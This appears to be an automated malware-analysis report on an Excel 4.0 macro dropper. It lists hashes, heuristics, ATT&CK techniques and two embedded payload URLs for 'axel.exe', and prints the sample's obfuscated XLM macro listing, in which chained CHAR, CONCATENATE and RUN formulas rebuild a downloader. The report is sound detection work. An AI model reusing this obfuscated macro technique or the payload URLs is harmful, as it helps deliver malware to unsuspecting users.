Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a21120c9bd77978…

MALICIOUS

Office (OLE)

72.0 KB Created: 2020-03-31 12:44:29 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 9ef8631578196747fe6198a97c0ceb20 SHA-1: 5eebe8e0a1c50e54391618b83a917e7f32b18bf8 SHA-256: 5a21120c9bd779786888f9d4d2a138836e627f001dbacc80c2b035ff7d198715
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel 4.0 macro sheet that uses the Auto_Open function to execute. It contains references to dangerous functions like RUN and URLDownloadToFile, indicating an intent to download a payload. The embedded URLs 'http://bellque.com/axel.exe' and 'http://fikima.com/axel.exe' are likely sources for this payload. The document body also contains explicit instructions to enable content, further supporting the lure technique.

Heuristics 8

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bellque.com/axel.exe Referenced by macro
    • http://bellque.com/axel.exe�Referenced by macro
    • http://fikima.com/axel.exeReferenced by macro
    • http://fikima.com/axel.exe~Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 23686 bytes
SHA-256: 23ebb092b02919f5748135e3f1a20039823122a2527e480d8a204b4b7d02b8f0
Preview script
First 1,000 lines of the extracted script
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  lhVqgXlv
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  lhVqgXlv!Z476 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lhVqgXlv,HQ1,CHAR(ED1674-421),""
'  lhVqgXlv,EM13,RUN(N1623),""
'  lhVqgXlv,HS16,"",1048.00000000000000000000
'  lhVqgXlv,BR18,"",30.00000000000000000000
'  lhVqgXlv,BY19,RUN(HZ1170),""
'  lhVqgXlv,GD20,RUN(GP1263),""
'  lhVqgXlv,HH39,RUN(IT1019),""
'  lhVqgXlv,IO43,CHAR(ER1705-983),""
'  lhVqgXlv,GY46,CHAR(G1441-983),""
'  lhVqgXlv,FQ47,CHAR(HK1292-943),""
'  lhVqgXlv,FQ48,RUN(GH497),""
'  lhVqgXlv,IA49,"",1068.00000000000000000000
'  lhVqgXlv,CB54,JN141,""
'  lhVqgXlv,JC55,RUN(BV906),""
'  lhVqgXlv,HN66,"",42.00000000000000000000
'  lhVqgXlv,DS67,"",94.00000000000000000000
'  lhVqgXlv,FJ72,CHAR(GH1568-983),""
'  lhVqgXlv,FB88,RUN(HJ932),""
'  lhVqgXlv,BD89,"",19.00000000000000000000
'  lhVqgXlv,IG89,"",1052.00000000000000000000
'  lhVqgXlv,HU92,RUN(FX1452),""
'  lhVqgXlv,GE95,"",89.00000000000000000000
'  lhVqgXlv,GS95,"CONCATENATE(JO1750,DE1298,FK1324,GR1740,CG899,DT893,GJ1136,DD164)",""
'  lhVqgXlv,DF97,CHAR(FG1787-943),""
'  lhVqgXlv,DF98,RUN(BN190),""
'  lhVqgXlv,II99,"",1045.00000000000000000000
'  lhVqgXlv,DI105,CHAR(DJ1958-829),""
'  lhVqgXlv,FP107,"",532.00000000000000000000
'  lhVqgXlv,DA119,"",990.00000000000000000000
'  lhVqgXlv,N127,RUN(BY19),""
'  lhVqgXlv,GA129,RUN(HZ1812),""
'  lhVqgXlv,HX135,CHAR(DG1514-829),""
'  lhVqgXlv,JN141,CONCATENATE(CD1624),""
'  lhVqgXlv,IS145,CHAR(CF1378-983),""
'  lhVqgXlv,BV149,"",71.00000000000000000000
'  lhVqgXlv,GT149,RUN(IN1847),""
'  lhVqgXlv,FJ151,"",521.00000000000000000000
'  lhVqgXlv,ID153,CHAR(DZ387-983),""
'  lhVqgXlv,HW155,CHAR(EV1334-983),""
'  lhVqgXlv,DD164,CHAR(CD1288-829),""
'  lhVqgXlv,DS164,RUN(K1387),""
'  lhVqgXlv,JN170,"",504.00000000000000000000
'  lhVqgXlv,CB177,RUN(HH39),""
'  lhVqgXlv,IP178,"",51.00000000000000000000
'  lhVqgXlv,FI180,CHAR(EU1152-983),""
'  lhVqgXlv,GC181,RUN(JN540),""
'  lhVqgXlv,EY186,"",39.00000000000000000000
'  lhVqgXlv,BW188,RUN(IY1838),""
'  lhVqgXlv,BN190,RUN(ES1720),""
'  lhVqgXlv,BP190,"",99.00000000000000000000
'  lhVqgXlv,BN191,RUN(DA1105),""
'  lhVqgXlv,BJ192,RUN(X1104),""
'  lhVqgXlv,CM204,RUN(GI1317),""
'  lhVqgXlv,HV222,RUN(GG1032),""
'  lhVqgXlv,CB223,"",73.00000000000000000000
'  lhVqgXlv,BJ224,CHAR(BZ1218-983),""
'  lhVqgXlv,GL233,CHAR(JO1018-983),""
'  lhVqgXlv,JM235,CHAR(I1499-983),""
'  lhVqgXlv,P236,"CONCATENATE(CD586,BG1221,DY280,FZ1169,HL1121,CJ1797,GF1205,HR401,DW860,A1738,BR1352,GE1904,E1622,JJ1704,EU1011,E1008,FW1401,U1641,CX1023,EI1641,HQ1,CM1323,GT1273,BM1852,N1007,EP933,BC321,JG545,BE635)",""
'  lhVqgXlv,EW237,"",1084.00000000000000000000
'  lhVqgXlv,HF237,"",1063.00000000000000000000
'  lhVqgXlv,BB243,RUN(GZ995),""
'  lhVqgXlv,IF244,RUN(CH1355),""
'  lhVqgXlv,DY280,CHAR(IO1843-421),""
'  lhVqgXlv,HT283,RUN(GF483),""
'  lhVqgXlv,EZ284,"",44.00000000000000000000
'  lhVqgXlv,ER299,RUN(GO1254),""
'  lhVqgXlv,GE300,RUN(CM204),""
'  lhVqgXlv,IS300,RUN(IJ1471),""
'  lhVqgXlv,HI305,CHAR(CE1193-983),""
'  lhVqgXlv,DT306,RUN(CA1746),""
'  lhVqgXlv,E312,RUN(J980),""
'  lhVqgXlv,A313,CHAR(GG1406-983),""
'  lhVqgXlv,N313,"",1044.00000000000000000000
'  lhVqgXlv,IM320,RUN(IW1799),""
'  lhVqgXlv,BC321,CHAR(BF708-421),""
'  lhVqgXlv,BU329,"",488.00000000000000000000
'  lhVqgXlv,IQ330,"",937.00000000000000000000
'  lhVqgXlv,S338,CHAR(ES1219-983),""
'  lhVqgXlv,F340,RUN(CQ1467),""
'  lhVqgXlv,IB344,"",930.00000000000000000000
'  lhVqgXlv,HE351,CHAR(DH549-983),""
'  lhVqgXlv,HW352,"",1084.00000000000000000000
'  lhVqgXlv,BN353,"",908.00000000000000000000
'  lhVqgXlv,U357,"",1051.00000000000000000000
'  lhVqgXlv,CD366,"",906.00000000000000000000
'  lhVqgXlv,EQ367,CHAR(IK1133-983),""
'  lhVqgXlv,HH368,RUN(EP1440),""
'  lhVqgXlv,DZ387,"",1080.00000000000000000000
'  lhVqgXlv,GA389,"",88.00000000000000000000
'  lhVqgXlv,EP395,RUN(IA1752),""
'  lhVqgXlv,DG399,"",19.00000000000000000000
'  lhVqgXlv,HD401,RUN(CB499),""
'  lhVqgXlv,HR401,CHAR(JN170-421),""
'  lhVqgXlv,CP404,CHAR(V1748-943),""
'  lhVqgXlv,HL404,"",0.00000000000000000000
'  lhVqgXlv,CP405,RUN(B1298),""
'  lhVqgXlv,BA409,"CONCATENATE(HY882,A860,Q1407,ID153,P1136,GG1298,A698,HW155,JN970,GQ1865,FI1323,FI180,T1983,HE351,FK1933,IH1499)",""
'  lhVqgXlv,DB413,"",543.00000000000000000000
'  lhVqgXlv,EC414,"",35.00000000000000000000
'  lhVqgXlv,CV415,"",880.00000000000000000000
'  lhVqgXlv,GG419,"",491.00000000000000000000
'  lhVqgXlv,EX424,RUN(HW869),""
'  lhVqgXlv,BR425,RUN(IG955),""
'  lhVqgXlv,EP428,CHAR(JA737-983),""
'  lhVqgXlv,FE436,"",69.00000000000000000000
'  lhVqgXlv,JN456,"",529.00000000000000000000
'  lhVqgXlv,Q461,RUN(FT1556),""
'  lhVqgXlv,GD463,"",527.00000000000000000000
'  lhVqgXlv,BT464,"",59.00000000000000000000
'  lhVqgXlv,FP464,CHAR(BN353-829),""
'  lhVqgXlv,BI466,RUN(FH1798),""
'  lhVqgXlv,Z476,RUN(FI683),""
'  lhVqgXlv,FK477,"",71.00000000000000000000
'  lhVqgXlv,GF483,RUN(DD1565),""
'  lhVqgXlv,JA496,"",1088.00000000000000000000
'  lhVqgXlv,BE497,CHAR(BC1880-829),""
'  lhVqgXlv,FQ497,"",1102.00000000000000000000
'  lhVqgXlv,GH497,CHAR(N313-943),""
'  lhVqgXlv,GH498,RUN(DF97),""
'  lhVqgXlv,CB499,RUN(JH818),""
'  lhVqgXlv,K503,RUN(IS300),""
'  lhVqgXlv,HY508,"",65.00000000000000000000
'  lhVqgXlv,BZ515,"",501.00000000000000000000
'  lhVqgXlv,ER516,"",52.00000000000000000000
'  lhVqgXlv,GJ516,"",20.00000000000000000000
'  lhVqgXlv,FB517,"",1084.00000000000000000000
'  lhVqgXlv,HC520,"",38.00000000000000000000
'  lhVqgXlv,L525,"",15.00000000000000000000
'  lhVqgXlv,CA528,"CONCATENATE(P236,IL549)",""
'  lhVqgXlv,DU532,RUN(HQ964),""
'  lhVqgXlv,BE534,RUN(CE1677),""
'  lhVqgXlv,CC536,"",98.00000000000000000000
'  lhVqgXlv,DE537,"",16.00000000000000000000
'  lhVqgXlv,JN540,RUN(IM320),""
'  lhVqgXlv,FY545,"",1094.00000000000000000000
'  lhVqgXlv,JG545,CHAR(IY1912-421),""
'  lhVqgXlv,DH549,"",1097.00000000000000000000
'  lhVqgXlv,IL549,CONCATENATE(FU1121),""
'  lhVqgXlv,G553,CHAR(DC612-983),""
'  lhVqgXlv,GQ555,"",48.00000000000000000000
'  lhVqgXlv,BL562,CHAR(FY545-983),""
'  lhVqgXlv,GF567,"",937.00000000000000000000
'  lhVqgXlv,DQ573,"",54.00000000000000000000
'  lhVqgXlv,BN575,"",28.00000000000000000000
'  lhVqgXlv,DY580,"",87.00000000000000000000
'  lhVqgXlv,DZ581,RUN(IL1446),""
'  lhVqgXlv,HO581,RUN(CJ1421),""
'  lhVqgXlv,CD586,CHAR(BU329-421),""
'  lhVqgXlv,CN589,"",11.00000000000000000000
'  lhVqgXlv,GW591,CHAR(CF1186-943),""
'  lhVqgXlv,GW592,RUN(HO1322),""
'  lhVqgXlv,Z593,CHAR(HS1117-943),""
'  lhVqgXlv,IZ593,"",880.00000000000000000000
'  lhVqgXlv,Z594,RUN(EV1843),""
'  lhVqgXlv,BA601,RUN(EP1556),""
'  lhVqgXlv,GE602,"",1048.00000000000000000000
'  lhVqgXlv,EP606,RUN(C1128),""
'  lhVqgXlv,FU608,RUN(HJ796),""
'  lhVqgXlv,JH608,RUN(K503),""
'  lhVqgXlv,BN610,"",1055.00000000000000000000
'  lhVqgXlv,DC612,"",1091.00000000000000000000
'  lhVqgXlv,X613,"",60.00000000000000000000
'  lhVqgXlv,HX613,"",1048.00000000000000000000
'  lhVqgXlv,ED619,RUN(R658),""
'  lhVqgXlv,HW621,"",97.00000000000000000000
'  lhVqgXlv,IS622,"",81.00000000000000000000
'  lhVqgXlv,CV624,RUN(IX668),""
'  lhVqgXlv,JJ627,RUN(BR425),""
'  lhVqgXlv,CV628,"CONCATENATE(GE1937,HI305,HH1368,JJ1609,GY46,FE667,IO43,G553,EP428,IV1908,GL233,HL872,BL562,EQ367,GY710,JM1578,HD1269,FJ649)",""
'  lhVqgXlv,DH630,"",1044.00000000000000000000
'  lhVqgXlv,BE635,CHAR(DF916-421),""
'  lhVqgXlv,EG639,RUN(DZ1106),""
'  lhVqgXlv,FR639,CHAR(HJ1651-943),""
'  lhVqgXlv,FR640,RUN(JM1671),""
'  lhVqgXlv,FJ649,CHAR(HX613-983),""
'  lhVqgXlv,H654,"",1097.00000000000000000000
'  lhVqgXlv,IO654,"",1052.00000000000000000000
'  lhVqgXlv,IU657,"",1104.00000000000000000000
'  lhVqgXlv,R658,RUN(EX424),""
'  lhVqgXlv,HH662,CHAR(IQ330-829),""
'  lhVqgXlv,GR665,RUN(BC1727),""
'  lhVqgXlv,FE667,CHAR(FQ497-983),""
'  lhVqgXlv,IX668,RUN(IF244),""
'  lhVqgXlv,IZ669,"",912.00000000000000000000
'  lhVqgXlv,FZ675,CHAR(HW352-983),""
'  lhVqgXlv,IF679,CHAR(FH1968-829),""
'  lhVqgXlv,BK683,"CONCATENATE(G794,GW1681,EH1046,HB1792)",""
'  lhVqgXlv,FI683,RUN(GN1249),""
'  lhVqgXlv,A698,CHAR(EV841-983),""
'  lhVqgXlv,IK701,RUN(BA601),""
'  lhVqgXlv,EM706,"",513.00000000000000000000
'  lhVqgXlv,JA706,RUN(JH1178),""
'  lhVqgXlv,BF708,"",467.00000000000000000000
'  lhVqgXlv,GY710,CHAR(JA496-983),""
'  lhVqgXlv,CB711,RUN(DL1848),""
'  lhVqgXlv,IA714,"",1054.00000000000000000000
'  lhVqgXlv,BE716,"",87.00000000000000000000
'  lhVqgXlv,HV718,CHAR(U357-943),""
'  lhVqgXlv,HV719,RUN(FQ47),""
'  lhVqgXlv,IG728,"",7.00000000000000000000
'  lhVqgXlv,FV737,"",1100.00000000000000000000
'  lhVqgXlv,JA737,"",1094.00000000000000000000
'  lhVqgXlv,CM738,RUN(GE300),""
'  lhVqgXlv,HO751,RUN(JE975),""
'  lhVqgXlv,BK763,CHAR(FQ1896-829),""
'  lhVqgXlv,BD767,"",1.00000000000000000000
'  lhVqgXlv,DH771,RUN(GD20),""
'  lhVqgXlv,GV779,"",939.00000000000000000000
'  lhVqgXlv,EA785,RUN(BU1339),""
'  lhVqgXlv,EU791,CHAR(BV1918-943),""
'  lhVqgXlv,EU792,RUN(FR639),""
'  lhVqgXlv,G794,CHAR(EY1110-983),""
'  lhVqgXlv,HJ796,RUN(DS1332),""
'  lhVqgXlv,IR802,CHAR(C1301-983),""
'  lhVqgXlv,U803,"",19.00000000000000000000
'  lhVqgXlv,CJ803,RUN(HE1773),""
'  lhVqgXlv,Y812,RUN(Q461),""
'  lhVqgXlv,FE817,"",1082.00000000000000000000
'  lhVqgXlv,HF817,"",529.00000000000000000000
'  lhVqgXlv,JH818,RUN(EM13),""
'  lhVqgXlv,M827,RUN(BB243),""
'  lhVqgXlv,IB837,RUN(EF1585),""
'  lhVqgXlv,EC838,CHAR(FE817-983),""
'  lhVqgXlv,BU840,"",72.00000000000000000000
'  lhVqgXlv,EV841,"",1051.00000000000000000000
'  lhVqgXlv,HZ848,RUN(HI934),""
'  lhVqgXlv,S849,"",6.00000000000000000000
'  lhVqgXlv,GQ857,CONCATENATE(BA409),""
'  lhVqgXlv,A860,CHAR(H654-983),""
'  lhVqgXlv,DW860,CHAR(CK1481-421),""
'  lhVqgXlv,CS861,RUN(CJ803),""
'  lhVqgXlv,JF864,"",528.00000000000000000000
'  lhVqgXlv,HW869,RUN(JM1473),""
'  lhVqgXlv,HL872,CHAR(BD1249-983),""
'  lhVqgXlv,HY882,CHAR(JD1152-983),""
'  lhVqgXlv,CY891,"",19.00000000000000000000
'  lhVqgXlv,DT893,CHAR(GF567-829),""
'  lhVqgXlv,DU896,"",489.00000000000000000000
'  lhVqgXlv,CG899,CHAR(IB344-829),""
'  lhVqgXlv,BV906,RUN(R1673),""
'  lhVqgXlv,L912,"CONCATENATE(BJ224,IS1634,S338,IS145,IR802,IH1746,FJ72,FZ675,EC838,GI1551,JM235,DA1132,A313)",""
'  lhVqgXlv,DF916,"",541.00000000000000000000
'  lhVqgXlv,DA918,RUN(EQ1331),""
'  lhVqgXlv,BE925,RUN(JF1513),""
'  lhVqgXlv,HP928,"",13.00000000000000000000
'  lhVqgXlv,I930,RUN(CO1768),""
'  lhVqgXlv,HJ932,RUN(CM738),""
'  lhVqgXlv,EP933,CHAR(CH1015-421),""
'  lhVqgXlv,HI934,RUN(JH608),""
'  lhVqgXlv,DY938,"",12.00000000000000000000
'  lhVqgXlv,CQ947,CHAR(DH630-943),""
'  lhVqgXlv,CQ948,RUN(HV718),""
'  lhVqgXlv,IB955,"",38.00000000000000000000
'  lhVqgXlv,IG955,RUN(E312),""
'  lhVqgXlv,IP955,RUN(B1461),""
'  lhVqgXlv,HL960,CONCATENATE(GS95),""
'  lhVqgXlv,EU962,RUN(U1574),""
'  lhVqgXlv,HQ964,RUN(EY1726),""
'  lhVqgXlv,IA966,"",522.00000000000000000000
'  lhVqgXlv,IA967,"",11.00000000000000000000
'  lhVqgXlv,JN970,CHAR(BV1145-983),""
'  lhVqgXlv,JE975,RUN(ED619),""
'  lhVqgXlv,J980,RUN(Z476),""
'  lhVqgXlv,FL985,RUN(CV624),""
'  lhVqgXlv,GZ995,RUN(EH1976),""
'  lhVqgXlv,N1007,CHAR(FJ1147-421),""
'  lhVqgXlv,E1008,CHAR(DB413-421),""
'  lhVqgXlv,EW1008,RUN(FU608),""
'  lhVqgXlv,EU1011,CHAR(FA1474-421),""
'  lhVqgXlv,CH1015,"",498.00000000000000000000
'  lhVqgXlv,JO1018,"",1083.00000000000000000000
'  lhVqgXlv,EI1019,"",60.00000000000000000000
'  lhVqgXlv,IT1019,RUN(EV1315),""
'  lhVqgXlv,B1022,RUN(JJ627),""
'  lhVqgXlv,CX1023,CHAR(EM706-421),""
'  lhVqgXlv,GG1032,RUN(BN1598),""
'  lhVqgXlv,HM1042,"",933.00000000000000000000
'  lhVqgXlv,X1044,RUN(IA1504),""
'  lhVqgXlv,EH1046,CHAR(DK1479-983),""
'  lhVqgXlv,S1053,CHAR(HS16-943),""
'  lhVqgXlv,S1054,RUN(GJ1293),""
'  lhVqgXlv,DG1057,"",1044.00000000000000000000
'  lhVqgXlv,GH1057,"",15.00000000000000000000
'  lhVqgXlv,IF1068,"",4.00000000000000000000
'  lhVqgXlv,B1075,"",1048.00000000000000000000
'  lhVqgXlv,FY1078,"",0.00000000000000000000
'  lhVqgXlv,DD1082,CHAR(DA119-943),""
'  lhVqgXlv,DD1083,RUN(CP404),""
'  lhVqgXlv,JM1083,"",97.00000000000000000000
'  lhVqgXlv,U1084,RUN(HC1901),""
'  lhVqgXlv,GN1085,"",1059.00000000000000000000
'  lhVqgXlv,GX1086,RUN(DT306),""
'  lhVqgXlv,BE1087,"",1082.00000000000000000000
'  lhVqgXlv,GV1091,RUN(EP606),""
'  lhVqgXlv,EV1101,CHAR(CD366-829),""
'  lhVqgXlv,X1104,RUN(CP1465),""
'  lhVqgXlv,GO1105,"",1051.00000000000000000000
'  lhVqgXlv,DZ1106,RUN(BO1389),""
'  lhVqgXlv,HJ1106,CHAR(EC1992-829),""
'  lhVqgXlv,EY1110,"",1062.00000000000000000000
'  lhVqgXlv,JD1110,"",943.00000000000000000000
'  lhVqgXlv,BO1115,"",63.00000000000000000000
'  lhVqgXlv,CU1116,RUN(EP395),""
'  lhVqgXlv,IN1116,RUN(EO1875),""
'  lhVqgXlv,HS1117,"",989.00000000000000000000
'  lhVqgXlv,HV1118,RUN(IB837),""
'  lhVqgXlv,DH1119,RUN(HS1330),""
'  lhVqgXlv,FU1121,CHAR(IA966-421),""
'  lhVqgXlv,HL1121,CHAR(HV1501-421),""
'  lhVqgXlv,JA1127,"",1052.00000000000000000000
'  lhVqgXlv,C1128,RUN(HO581),""
'  lhVqgXlv,DA1132,CHAR(FB517-983),""
'  lhVqgXlv,IK1133,"",1053.00000000000000000000
'  lhVqgXlv,P1136,CHAR(GU1452-983),""
'  lhVqgXlv,GJ1136,CHAR(CV415-829),""
'  lhVqgXlv,BV1145,"",1097.00000000000000000000
'  lhVqgXlv,EZ1145,RUN(JA706),""
'  lhVqgXlv,EX1146,"",479.00000000000000000000
'  lhVqgXlv,FJ1147,"",536.00000000000000000000
'  lhVqgXlv,DC1149,RUN(CU1116),""
'  lhVqgXlv,EU1152,"",1099.00000000000000000000
'  lhVqgXlv,JD1152,"",1050.00000000000000000000
'  lhVqgXlv,CO1165,"",1084.00000000000000000000
'  lhVqgXlv,FZ1169,CHAR(H1175-421),""
'  lhVqgXlv,HZ1170,RUN(EX1746),""
'  lhVqgXlv,ID1170,"",17.00000000000000000000
'  lhVqgXlv,EU1172,"CONCATENATE(HI1961,DZ1481,HJ1106,HX135,HH662,DM1958,BE497)",""
'  lhVqgXlv,H1175,"",497.00000000000000000000
'  lhVqgXlv,CR1175,"",1087.00000000000000000000
'  lhVqgXlv,JH1178,RUN(EG639),""
'  lhVqgXlv,CF1186,"",1047.00000000000000000000
'  lhVqgXlv,CM1186,RUN(X1967),""
'  lhVqgXlv,CE1193,"",1065.00000000000000000000
'  lhVqgXlv,GF1205,CHAR(GP1237-421),""
'  lhVqgXlv,BZ1218,"",1066.00000000000000000000
'  lhVqgXlv,ES1219,"",1084.00000000000000000000
'  lhVqgXlv,BG1221,CHAR(EX1146-421),""
'  lhVqgXlv,DN1222,"",86.00000000000000000000
'  lhVqgXlv,IC1226,CHAR(BN610-943),""
'  lhVqgXlv,IC1227,RUN(EU791),""
'  lhVqgXlv,GP1237,"",507.00000000000000000000
'  lhVqgXlv,H1238,"",1094.00000000000000000000
'  lhVqgXlv,BD1249,"",1067.00000000000000000000
'  lhVqgXlv,EU1249,RUN(DZ581),""
'  lhVqgXlv,GN1249,RUN(IN1116),""
'  lhVqgXlv,EP1250,CHAR(T1748-943),""
'  lhVqgXlv,EP1251,RUN(Z593),""
'  lhVqgXlv,X1254,"",77.00000000000000000000
'  lhVqgXlv,GO1254,RUN(N1964),""
'  lhVqgXlv,GP1263,RUN(BJ1966),""
'  lhVqgXlv,HD1269,CHAR(IH1572-983),""
'  lhVqgXlv,O1270,CONCATENATE(L912),""
'  lhVqgXlv,BY1272,"",930.00000000000000000000
'  lhVqgXlv,GT1273,CHAR(DW1434-421),""
'  lhVqgXlv,J1284,"",513.00000000000000000000
'  lhVqgXlv,CD1288,"",879.00000000000000000000
'  lhVqgXlv,IA1291,RUN(DK1951),""
'  lhVqgXlv,HK1292,"",989.00000000000000000000
'  lhVqgXlv,GJ1293,CHAR(JA1127-943),""
'  lhVqgXlv,GJ1294,RUN(EP1250),""
'  lhVqgXlv,B1298,CHAR(HF237-943),""
'  lhVqgXlv,DE1298,CHAR(BY1272-829),""
'  lhVqgXlv,GG1298,CHAR(CO1165-983),""
'  lhVqgXlv,B1299,RUN(CQ947),""
'  lhVqgXlv,C1301,"",1091.00000000000000000000
'  lhVqgXlv,EV1315,RUN(IL1378),""
'  lhVqgXlv,GI1317,RUN(N127),""
'  lhVqgXlv,IL1318,"",36.00000000000000000000
'  lhVqgXlv,HO1322,CHAR(ER1624-943),""
'  lhVqgXlv,CM1323,CHAR(GG419-421),""
'  lhVqgXlv,FI1323,CHAR(BE1087-983),""
'  lhVqgXlv,HO1323,RUN(II1334),""
'  lhVqgXlv,FK1324,CHAR(JD1110-829),""
'  lhVqgXlv,CH1325,RUN(IK701),""
'  lhVqgXlv,ID1327,"",88.00000000000000000000
'  lhVqgXlv,HS1330,RUN(BV1747),""
'  lhVqgXlv,EQ1331,RUN(F340),""
'  lhVqgXlv,DS1332,RUN(GV1091),""
'  lhVqgXlv,EV1334,"",1088.00000000000000000000
'  lhVqgXlv,II1334,CHAR(JD1843-943),""
'  lhVqgXlv,II1335,RUN(IC1226),""
'  lhVqgXlv,BU1339,RUN(FB88),""
'  lhVqgXlv,EV1340,"",87.00000000000000000000
'  lhVqgXlv,BR1352,CHAR(J1284-421),""
'  lhVqgXlv,CH1355,RUN(IP1883),""
'  lhVqgXlv,CQ1359,"",1093.00000000000000000000
'  lhVqgXlv,GZ1366,"",36.00000000000000000000
'  lhVqgXlv,E1368,"",990.00000000000000000000
'  lhVqgXlv,HH1368,CHAR(GN1085-983),""
'  lhVqgXlv,CF1378,"",1091.00000000000000000000
'  lhVqgXlv,IL1378,RUN(IQ1938),""
'  lhVqgXlv,FL1383,"",53.00000000000000000000
'  lhVqgXlv,K1387,RUN(CZ1890),""
'  lhVqgXlv,BO1389,RUN(CP1447),""
'  lhVqgXlv,GC1391,"",1084.00000000000000000000
'  lhVqgXlv,BL1393,"",88.00000000000000000000
'  lhVqgXlv,FW1401,CHAR(BZ515-421),""
'  lhVqgXlv,GG1406,"",1048.00000000000000000000
'  lhVqgXlv,Q1407,CHAR(EW237-983),""
'  lhVqgXlv,DS1415,"",95.00000000000000000000
'  lhVqgXlv,CJ1421,RUN(DH1119),""
'  lhVqgXlv,HY1429,"",497.00000000000000000000
'  lhVqgXlv,M1431,RUN(GX1086),""
'  lhVqgXlv,DW1434,"",543.00000000000000000000
'  lhVqgXlv,FD1438,"",58.00000000000000000000
'  lhVqgXlv,EP1440,RUN(I930),""
'  lhVqgXlv,G1441,"",1094.00000000000000000000
'  lhVqgXlv,GX1442,"",30.00000000000000000000
'  lhVqgXlv,IL1446,RUN(BW188),""
'  lhVqgXlv,CP1447,RUN(BI466),""
'  lhVqgXlv,HW1449,CHAR(II99-943),""
'  lhVqgXlv,HW1450,RUN(HA1919),""
'  lhVqgXlv,FX1452,RUN(BE925),""
'  lhVqgXlv,GU1452,"",1099.00000000000000000000
'  lhVqgXlv,B1461,RUN(DC1149),""
'  lhVqgXlv,CP1465,RUN(EH1739),""
'  lhVqgXlv,CQ1467,RUN(DB1647),""
'  lhVqgXlv,IJ1471,RUN(HV1118),""
'  lhVqgXlv,HE1473,"",88.00000000000000000000
'  lhVqgXlv,JM1473,RUN(HT283),""
'  lhVqgXlv,FA1474,"",540.00000000000000000000
'  lhVqgXlv,DK1479,"",1084.00000000000000000000
'  lhVqgXlv,CK1481,"",532.00000000000000000000
'  lhVqgXlv,DZ1481,CHAR(HM1042-829),""
'  lhVqgXlv,Y1488,"",1091.00000000000000000000
'  lhVqgXlv,CB1488,CONCATENATE(DS1526),""
'  lhVqgXlv,CB1489,"",4.00000000000000000000
'  lhVqgXlv,EA1496,"",32.00000000000000000000
'  lhVqgXlv,I1499,"",1099.00000000000000000000
'  lhVqgXlv,IH1499,CHAR(B1075-983),""
'  lhVqgXlv,HV1501,"",495.00000000000000000000
'  lhVqgXlv,IA1504,RUN(DS164),""
'  lhVqgXlv,DB1510,"",1080.00000000000000000000
'  lhVqgXlv,JF1513,RUN(CG1638),""
'  lhVqgXlv,DG1514,"",937.00000000000000000000
'  lhVqgXlv,DS1526,"CONCATENATE(BK763,DI105,EH1989,EV1101,FP464,IF679)",""
'  lhVqgXlv,HC1540,"",6.00000000000000000000
'  lhVqgXlv,GI1551,CHAR(FV737-983),""
'  lhVqgXlv,EP1556,RUN(IJ1714),""
'  lhVqgXlv,FT1556,RUN(EA785),""
'  lhVqgXlv,DD1565,RUN(IP955),""
'  lhVqgXlv,GH1568,"",1103.00000000000000000000
'  lhVqgXlv,IH1572,"",1084.00000000000000000000
'  lhVqgXlv,U1574,RUN(EW1008),""
'  lhVqgXlv,FW1576,RUN(EU1249),""
'  lhVqgXlv,JM1578,CHAR(Y1488-983),""
'  lhVqgXlv,BT1579,RUN(BJ192),""
'  lhVqgXlv,EF1585,RUN(DU532),""
'  lhVqgXlv,BN1598,RUN(EJ1796),""
'  lhVqgXlv,JJ1609,CHAR(GO1105-983),""
'  lhVqgXlv,DT1619,"",91.00000000000000000000
'  lhVqgXlv,JI1620,CONCATENATE(CV628),""
'  lhVqgXlv,E1622,CHAR(FP107-421),""
'  lhVqgXlv,N1623,RUN(EU962),""
'  lhVqgXlv,CD1624,"CONCATENATE(GW591,HO1322,II1334,IC1226,EU791,FR639,JM1671,HW1449,HA1919,CB1993,S1053,GJ1293,EP1250,Z593,EV1843,CU1823,E1680,DD1082,CP404,B1298,CQ947,HV718,FQ47,GH497,DF97,BN190)",""
